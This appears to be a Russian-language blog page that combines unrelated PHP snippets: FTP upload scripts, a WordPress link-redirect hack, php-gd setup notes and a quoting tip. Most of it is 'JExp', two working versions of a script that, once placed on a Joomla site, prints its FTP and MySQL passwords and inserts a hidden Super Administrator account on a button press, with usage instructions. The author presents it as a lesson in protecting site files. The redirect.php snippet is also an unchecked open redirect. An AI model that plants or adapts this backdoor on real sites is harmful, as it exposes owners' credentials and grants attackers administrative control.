<?php
$host = "hostname";
$connect = ftp_connect($host);
if (!$connect)
{
echo "connect fail<br/>";
}
else
{
echo "connect ok<br/>";
}
$user = "username";
$password = "some_pass";
$result = ftp_login($connect, $user, $password);
$dir = ftp_pwd($connect);
echo $dir."<br/>";
define('PATH', 'md/*.');
foreach (glob(PATH.'txt') as $local_file)
{
$files_array[$local_file] = filemtime($local_file);
}
asort($files_array);
$keys = array_keys($files_array);
$upl_file = array_pop($keys);
$remote_file = "remote.txt";
if (ftp_put($connect, $remote_file, $upl_file, FTP_BINARY))
{
echo "upload ok<br/>";
}
else
{
echo "upload fail<br/>";
}
ftp_quit($connect);
?>
Архив
<?php
$host = "hostname";
$connect = ftp_connect($host);
if (!$connect)
{
echo "connect fail<br/>";
}
else
{
echo "connect ok<br/>";
}
$user = "username";
$password = "some_pass";
$result = ftp_login($connect, $user, $password);
$dir = ftp_pwd($connect);
echo $dir."<br/>";
$od = opendir('md');
while ($local_file = readdir($od))
{
if ($local_file != "." && $local_file != "..")
{
echo $local_file."<br/>";
$upl_file = "md/".$local_file;
$remote_file = "remote_".$local_file;
if (ftp_put($connect, $remote_file, $upl_file, FTP_BINARY))
{
echo "upload ok<br/>";
}
else
{
echo "upload fail<br/>";
}
}
}
$cl = closedir($od);
ftp_quit($connect);
?>
По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.
<?php
function GetParam($arg) {
global $exp;
$show = $exp->$arg;
return $show;
}
function PrintParam($arg) {
print("<b>".$arg.": </b>".GetParam($arg)."<br/>");
}
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
include "configuration.php";
$exp = new JConfig();
echo "<h3>ftp configuration</h3>";
PrintParam('ftp_host');
PrintParam('ftp_user');
PrintParam('ftp_pass');
echo "<h3>mysql configuration</h3>";
PrintParam('host');
PrintParam('user');
PrintParam('db');
PrintParam('password');
PrintParam('dbprefix');
echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) {
$here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password"));
$select_db_query = mysql_select_db(GetParam("db"), $here_we_go);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$jos_users_query = mysql_query("
INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())
", $here_we_go);
$jos_core_acl_aro_query = mysql_query("
INSERT INTO jos_core_acl_aro
(section_value, value, order_value, name, hidden)
VALUES
('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0')
", $here_we_go);
$jos_core_acl_groups_aro_map_query = mysql_query("
INSERT INTO jos_core_acl_groups_aro_map
(group_id, aro_id)
VALUES
('25', LAST_INSERT_ID())
", $here_we_go);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else {
echo "unauthorized access!";
}
?>
Актуальная версия скрипта: JExp 0.2
Информация исключительно для того, чтобы понимать необходимость защиты сайта от доступа к файловой системе. Скрипт, используя конфигурационный файл joomla, выводит на экран интересующие нас параметры доступа к сайту, а также позволяет удаленно добавить пользователя в группу Super Administrator.
<?php
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
include "configuration.php";
$exp = new JConfig();
function PrintParam($arg) {
global $exp;
$arg_ans = $exp->$arg;
print("<b>".$arg.": </b>".$arg_ans."<br/>");
}
echo "<h3>ftp confuguration</h3>";
PrintParam('ftp_host');
PrintParam('ftp_user');
PrintParam('ftp_pass');
echo "<h3>mysql configuration</h3>";
PrintParam('host');
PrintParam('user');
PrintParam('db');
PrintParam('password');
PrintParam('dbprefix');
echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) {
$connect = mysql_connect($exp->host, $exp->user, $exp->password);
$db_select = mysql_select_db($exp->db, $connect);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$add_query = "INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())";
$add_action = mysql_query($add_query, $connect);
$jos_core_acl_aro_SQ = "SELECT id FROM jos_users WHERE username='".$new_username."'";
$jos_core_acl_aro_SA = mysql_query($jos_core_acl_aro_SQ, $connect);
$jos_core_acl_aro_SR = mysql_fetch_array($jos_core_acl_aro_SA, $connect);
$jos_core_acl_aro_ID = $jos_core_acl_aro_SR[0];
$jos_core_acl_aro_IQ = "INSERT INTO jos_core_acl_aro (section_value, value, order_value, name, hidden) VALUES
('users', '".$jos_core_acl_aro_ID."', '0', '".$new_fullname."', '0')";
$jos_core_acl_aro_IA = mysql_query($jos_core_acl_aro_IQ, $connect);
$jos_core_acl_groups_aro_map_SQ = "SELECT id FROM jos_core_acl_aro WHERE name='".$new_fullname."'";
$jos_core_acl_groups_aro_map_SA = mysql_query($jos_core_acl_groups_aro_map_SQ, $connect);
$jos_core_acl_groups_aro_map_SR = mysql_fetch_array($jos_core_acl_groups_aro_map_SA, $connect);
$jos_core_acl_groups_aro_map_ID = $jos_core_acl_groups_aro_map_SR[0];
$jos_core_acl_groups_aro_map_IQ = "INSERT INTO jos_core_acl_groups_aro_map (group_id, aro_id) VALUES
('25', '".$jos_core_acl_groups_aro_map_ID."')";
$jos_core_acl_groups_aro_map_IA = mysql_query($jos_core_acl_groups_aro_map_IQ, $connect);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else {
echo "unauthorized access!";
}
?>
Использование:
include "configuration.php";
— путь к файлу в зависимости от того, где в файловой системе находится скрипт.
Параметры нового пользователя, а именно логин, полное имя, e-mail и т.д. указываются в тексте скрипта. Там, кажется, все понятно.
Пароль указан в том формате, в котором его хранит Joomla. В примере указан хэш пароля qwerty
, изменить его можно уже из админки. Ну или же создать где-нибудь у себя пользователя и скопировать хэш из phpMyAdmin.
В браузере GETом передаем скрипту имя сервера, ну что-то вроде защиты от случайного использования, наверное можно придумать что-то интереснее.
1.В используемой теме редактируем файл functions.php
. Дописываем:
<?php function preg_callback2($matches) { $url = explode(':', $matches[2]); if (($url[0] == 'http') || ($url[0] == 'https')) { $need = "http://krylov.org.ua"; $replace = "http://krylov.org.ua/redirect.php?"; if (substr($matches[2], 0, strlen($need)) != $need) { $matches[2] = $replace.$matches[2]; } } return $matches[1].$matches[2].$matches[3]; } function removeLinks($content) { if (! is_feed()) { $content = preg_replace_callback('@(]*href=")([^>\"]*)("[^>]*>)@i', "preg_callback2", $content); $content = preg_replace_callback('@(]*href=\')([^>\"]*)(\'[^>]*>)@i', "preg_callback2", $content); } return $content; } add_filter('the_content', 'removeLinks'); add_filter('comment_text', 'removeLinks'); add_filter('get_comment_author_link', 'removeLinks'); add_filter('get_comment_author_url_link', 'removeLinks'); add_filter('comment_url', 'removeLinks'); add_filter('wp_list_bookmarks', 'removeLinks'); ?>
wp_list_bookmarks
— функиция, используемая для отображения ссылок из blogroll, если вы используете другую функцию замените на другое значение.
2. Содержание файла redirect.php
, который помещаем в корень сайта:
<?php $uri = ""; if (array_key_exists("QUERY_STRING", $_SERVER)) { $uri = $_SERVER["QUERY_STRING"]; } header("Location: ".$uri); ?>
3. Запрещаем индексирование обрабатываемых ссылок поисковиками. В robots.txt
в корне сайта пишем:
User-Agent: * Disallow: /redirect.php
4. Чтобы в браузере ссылки выглядели как обычно после открытия <body>
подключаем jquery и следующий js-скрипт:
$(document).ready(function(){ $("a").each(function(i){ var remove_str = 'http://krylov.org.ua/redirect.php?'; var str = this.href.substring(0, remove_str.length); if (str == remove_str) { this.href = this.href.substring(remove_str.length); } }); });
В примере рассматривается установка php-gd на сервер с FreeBSD 5.5; установленная из портов версия php — 5.1.2.
cd /usr/ports/lang/php5-extensions/ make config
добавляем галочку: «GD library support»
make install clean
После завершения установки перезапускаем apache любым удобным для вас способом.
Чтобы показать текст в двойных кавычках:
echo "произвольный текст \"произвольный текст\" произвольный текст";